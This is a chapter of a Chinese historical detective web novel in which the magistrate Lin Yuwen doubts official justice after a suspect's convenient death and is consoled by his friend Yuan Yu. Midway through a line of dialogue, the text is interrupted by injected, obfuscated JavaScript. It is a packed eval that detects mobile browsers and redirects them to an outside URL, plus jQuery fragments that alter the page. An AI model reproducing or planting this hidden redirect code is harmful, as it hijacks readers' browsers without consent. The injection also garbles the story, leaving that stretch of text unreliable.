96
林与闻眨了眨眼,说实话,他没有那么的惊讶。
白洛死了。
白洛是该死的,他自己也这么说,但是在马上就能重新审理前死去,却太巧合。
巧合啊,这个案子实在有太多巧合了。
“怎么死的?”林与闻问。
“今天早上,顺天府的人巡逻,发现他冻死在街边了。”
看林与闻不说话,杨子壬又道,“这个天气,冻死人实在太寻常了,他又爱喝酒,喝多了晕死在街上,第二天就——”
是啊太寻常了。
林与闻吸了口气,“那重新审理的事情——”
“也就只有都察院在追张博士,可能会提到这个案子,”杨子壬说,“我会尽力为徐氏的后人争取一点赔偿的。”
林与闻靠在门口,“昨天是屠小晨和庞路的婚礼对吧?”
杨子壬想了想,“确实是。”
“婚礼上会有很多酒,也就会有人带走,带走的话可能随手就会扔在路边,那么就会被那些叫花子捡走,喝多了,晕倒了,转天冻死在路边。”林与闻摇摇头,“是办婚礼的人的错吗,是带酒出去的人的错吗,是把酒放在路边的人的错吗?”
“大人……”
林与闻长长叹了一口气,“还好她要报的仇已经报完了。”
杨子壬张着嘴,“大人你是觉得——”
“罢了,”林与闻抬起手,捂住半张脸,“罢了。”
杨子壬莫名理解林与闻此刻的难过,他知道林与闻并不是为了白洛的死,甚至不是为了单独的这个案子。
他不知道该说什么,只能拍拍林与闻的肩膀。
“那天,”林与闻吸了口气,突然说,“我知道她没告诉我全部的实话。”
杨子壬眨眼。
“我提到了,这些事情太巧合了,虽然她说她都有备选的计划,但她没有回答我,如果那天李岳和曲还听只是普通的争执怎么办。”
“大人,那你为什么——”
“我不想问下去。”
林与闻垂下头,“我希望事情就是像她说的那样,是老天爷在惩恶扬善,是那些受害的冤魂在默默保佑着她,而不是她一个弱女子在冰天雪地里一下一下把曲还听浮起来的身体摁下去。”
“大人……”
“我说得很好听,但是如果我是当年的顺天府推官,我又会怎么判,你呢,你会怎么判?”
“就算他们几个是真的强迫徐氏,但徐氏最后是自杀死的,因此无法判杀人罪,”杨子壬咬着后牙看着林与闻,“伤人罪轻,其中又有两个人有举人身份,更轻。”
林与闻眼睛红红的,点头,“没错,一个人死了,我们却没法让伤害她的人付出应有的代价,没法让她的家属得到应有的赔偿。”
“而可怕的是,”林与闻抓住自己的衣服左襟,“我自己明明是是刑狱官,却觉得屠小晨的方法来得更迅速,更使人心里痛快。”
杨子壬沉默着。
“一定是哪里出了问题。”
林与闻吸了口气,背着手走回到衙门大堂。
杨子壬看着他的身影,只能叹气。
……
袁宇回来的时候听杨子壬大致说了一说,知道林与闻又开始纠结了。
不知道别的刑狱官会不会这样,但是林与闻每过一段时间就会有这种怀疑自己,怀疑全世界的情绪。
轻的时候喝酒写字,重的时候就这样坐在那发呆,思考自己活着的意义。
“今天路过国子监,苑景让我给你带了块年糕。”
年糕是两只鱼的形状,寓意年年有余。
提到食物也一动不动啊,看起来真有些严重。
袁宇让黑子把年糕蒸上,自己去准备了盘花生和茶,坐在林与闻边上,把花生仁一个个剥出来。
“这个其实也该烤在火上是不是?”
林与闻“嗯”了一声。
袁宇侧过头看他,“真不打算和我讲讲?”
“你不懂。”
“那你教教我。”
林与闻眼神复杂地看着袁宇,“你觉得三司,也就是我们这些人,把那些人判刑,关起来是在做什么?”
“嗯……报复他们?”
“嗯,我更想说是报应,”林与闻努努嘴,“但是报复也对啦。”
袁宇盯着林与闻,让林与闻继续说下去,“我们替苦主来做这件事,就是希望不会发生现在这样私自处刑的事情。”
“但要是没有发生现在这样的事情,我们甚至不会去查十年前的案子。”
“但如果没有十年前的案子,这一切都不会发生。”
袁宇吸一口气,准备从这里打断林与闻,省得他最后说到鸡生蛋、蛋生鸡,“你想说什么?”
“我想说,这个世界可能,坏掉了。”
林与闻说这话的时候两只手并在膝盖里,嘴紧紧抿着,两只眼睛虽然无神但睁得很大,像是个对世界充满疑问的少年。
“也许吧。”
听到袁宇没有否定自己,林与闻多少还是有点惊讶的。
“不过我相信这个世界也没有坏得那么彻底,”袁宇把剥好的花生放在手心里,递到林与闻跟前,见林与闻不接,他就攥着林与闻的手,硬是塞进林与闻的手里。
心情再差也绝不能浪费食物,这是老林家的家规。
林与闻决定不带感情地干嚼这些花生仁。
“你想啊,她复仇为什么会选择这次大计呢。”
林与闻看袁宇,“她说是因为她知道状元爷很厉害,都察院很厉害。”
“对啊,而且她也不是全然不信任官府啊,你看她用来威胁李岳的把柄就是把他们的事情告诉给都察院,她知道这些人怕都察院对吗?”
林与闻眨眼睛。
“不止是都察院,她还选了王语迟来做讼师,就是知道王语迟一定能让她的未婚夫,啊,现在是丈夫了,让她的丈夫脱罪。”
“还有顺天府,她也是相信薛大人能做一个公道的判决的对不对?”
“你到底想说什么?”
“是因为这个世界已经没有以前那么坏了,”袁宇认真道,“她才能选择这样复仇,她才能复仇成功。”
“如果还是十年前那样的环境,就像她说的一样,如果不是你这样的人来主管案子,哪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994623|186612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕只有动机,也足够把她抓进监狱里判个十几年了。”
林与闻表情懵懵的,“我觉得你说的是歪理。”
“歪理也好,真理也好,”袁宇拍拍林与闻的小臂,“我们所有人都在改变这个世界,它确实有在变好,所以你不要这样悲观。”
“苑景确实说过,我们要一点点地改变朝堂。”林与闻送进嘴里一个花生米,“可是,我感觉我能做的太少了。”
“着什么急啊,我们有很长很长的时间呢。”今夜风不大,没有那么的冷,袁宇微微闭上眼睛,“就像你和陈捕头抱头痛哭时候说的,查十年前的案子,查二十年前的案子,就算无法做到全然清明,但是至少你做了许多有用的事情。”
林与闻看着袁宇的侧脸,有些明白京城那些名媛怎么那么喜欢他,这张脸配着这低沉嗓音,不管说什么莫名其妙的话乍一听都挺有道理。
“大人,好像蒸熟了,”黑子端着那两只鱼,国子监的厨子也是真实诚,这年糕得用脸盆装才装得下,“您看看?”
林与闻拿过筷子往年糕中间扎了下,软的,“应该熟了。”
“那咱们切了?”
林与闻舔着筷子尖上的豆沙,“要不你跑一趟,就说我请他们吃年糕,让他们各人带一个菜来。”
“请他们,但是让他们自己带菜——?”黑子歪着头不解。
“你们大人想着法蹭饭呢,”袁宇笑一声,提醒黑子。
黑子恍然大悟,放下年糕赶紧攒局去了。
“天都黑了又吃东西,”袁宇皱着眉看林与闻,“你真不怕胖啊?”
“不会胖,”林与闻瞪眼睛,“你都不知道,我今天什么都没吃,净思考了。”
袁宇扶额,“多大点事。”
“你真是让人讨厌,”林与闻精神了,从躺椅上站起来,“帮我收拾桌子,一会他们都来了。”
“你怎么知道他们都会来?”
“都是我的同党,能不来吗。”
袁宇愣了下,“林与闻,你知道我是锦衣卫吧?”
“啊?”
“你就这么把你自己结党的事情说给我听啊?”
林与闻的下巴脱臼一样,好半天没合到一起,“季卿,季卿,你不会告诉圣上的对吧?”
袁宇起身,一边收拾那些花生皮,一边笑,“可不一定。”
“我这就是口误,”林与闻追在袁宇屁股后面,就像他们小时候一样,“你冷静一下啊,我背后可是很多人的,状元爷和苑景他们都很厉害的。”
袁宇仰头笑一下,“软的不行威胁我是不是?”
“诶呀,你这人怎么这么较真,”林与闻呲牙咧嘴的,“我不跟你闹了!”
“圣旨到。”
林与闻脸都白了,袁宇也一脸莫名,“这可不是我。”
唐雪楼来传旨,意思是林与闻协助都察院查张博士的事情有功,但功劳也不大,因此决定赐几道御膳给林与闻以示圣恩。
连圣上都知道奖赏林与闻要靠投喂了吗?
袁宇看着兴奋得蹦起来的林与闻实在有些无奈,但不得不说,陛下的认可在此时此刻对于林与闻来说极为受用。